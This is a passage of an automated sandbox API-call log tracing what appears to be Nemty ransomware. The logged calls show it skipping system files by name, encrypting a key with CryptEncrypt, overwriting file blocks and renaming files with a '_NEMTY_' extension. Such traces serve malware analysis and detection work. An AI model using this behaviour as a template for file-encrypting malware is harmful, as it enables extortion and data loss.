[0085.998] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.998] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.998] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340100, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.998] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0085.998] CloseHandle (hObject=0xffffffff) returned 0 [0085.998] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0085.998] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0085.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0085.999] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0085.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0085.999] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0085.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0085.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0085.999] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0085.999] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0085.999] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationup_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_ButtonGraphic.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationup_buttongraphic.png._nemty_kgobjgd_")) returned 0 [0085.999] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0085.999] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0085.999] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0085.999] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0085.999] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0085.999] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0085.999] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0085.999] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0085.999] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0085.999] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0085.999] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ffbb7e8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ffbb7e8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0085.999] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2=".") returned 1 [0085.999] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="..") returned 1 [0085.999] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="...") returned 1 [0085.999] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="windows") returned -1 [0085.999] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="$RECYCLE.BIN") returned 1 [0085.999] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="rsa") returned -1 [0085.999] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="NTDETECT.COM") returned -1 [0085.999] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="ntldr") returned -1 [0085.999] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="MSDOS.SYS") returned 1 [0085.999] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="IO.SYS") returned 1 [0085.999] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0086.000] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0086.000] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="AUTOEXEC.BAT") returned 1 [0086.000] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="ntuser.dat") returned -1 [0086.000] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="desktop.ini") returned 1 [0086.000] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="CONFIG.SYS") returned 1 [0086.000] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="RECYCLER") returned -1 [0086.000] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="BOOTSECT.BAK") returned 1 [0086.000] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="bootmgr") returned 1 [0086.000] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="programdata") returned -1 [0086.000] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="appdata") returned 1 [0086.000] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0086.000] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0086.000] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0086.000] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x6345608, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 36 [0086.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0086.000] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x6340048 [0086.000] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0086.000] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0086.000] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x6345608, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 36 [0086.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0086.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0086.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0086.000] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0086.000] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0086.000] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0086.000] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x6345608, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 36 [0086.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0086.000] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0086.001] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0086.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0086.001] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x6345640, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 36 [0086.001] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0086.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0086.001] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0086.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x4f94358 [0086.001] Sleep (dwMilliseconds=0x5) [0086.016] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe6eaa270, dwHighDateTime=0x1d561e7)) [0086.016] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe6eaa270, dwHighDateTime=0x1d561e7)) [0086.016] GetLastError () returned 0x5 [0086.016] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0086.016] GetLastError () returned 0x5 [0086.016] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0086.016] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0086.016] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0086.016] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0086.016] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0086.017] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0086.017] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340110 [0086.017] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340110, pcchString=0x653e91c | out: pszString="7Oh/HiXnJdXgVLVP93cwJAiAxBo5v6UGFOMBDt9OCqT6rCMBdAZtqi+4wpMBT6oA\r\ni13FxQG8hEq2RTGUklVD6VdnePoZkG5cGNZgKEoT8W+ZwmTuh5vaLuBmyEbUlt6L\r\n1kBm5zYL17/Kc3QsxrTRLyDUvzwJeLDt9bKX1O35rqcPj4qItxUUDF0ft9u1K+WV\r\nK3E+pLZT56V+HrTug8rbVyWsRewUR30JUYbGIaVRJHmJCiZuwFpHaP/1daQEwvwH\r\nqDiOzbqrqkkifipfo4ZbErd57BteBXdwpG9YgaPYJBqYjXSmpehQKBngzZtHFqKq\r\nQFy1QOVB4dOFEK+hfppGzg==\r\n", pcchString=0x653e91c) returned 1 [0086.017] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0086.017] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0086.017] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0086.017] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f94420 [0086.017] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340110 [0086.017] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0086.017] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.017] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0086.017] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0086.017] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.017] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.026] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.026] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.027] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.027] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.043] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.043] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.043] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.043] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.053] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.053] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.053] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.053] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.062] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.063] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.063] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.063] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.072] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.072] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.072] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.072] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.081] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.081] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.082] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.082] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.091] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.091] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.091] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.091] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.100] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.100] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.100] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.100] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.110] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.110] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.110] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.110] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.119] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.119] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.119] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.119] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.125] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.125] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.125] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.125] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.131] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.131] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.131] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.131] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340110, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.131] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0086.131] CloseHandle (hObject=0xffffffff) returned 0 [0086.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340280 [0086.131] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0086.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0086.131] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0086.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0086.131] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0086.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340348 [0086.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6340410 [0086.131] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340348 | out: hHeap=0x4f90000) returned 1 [0086.131] HeapFree (in: hHeap=0x4f90000, 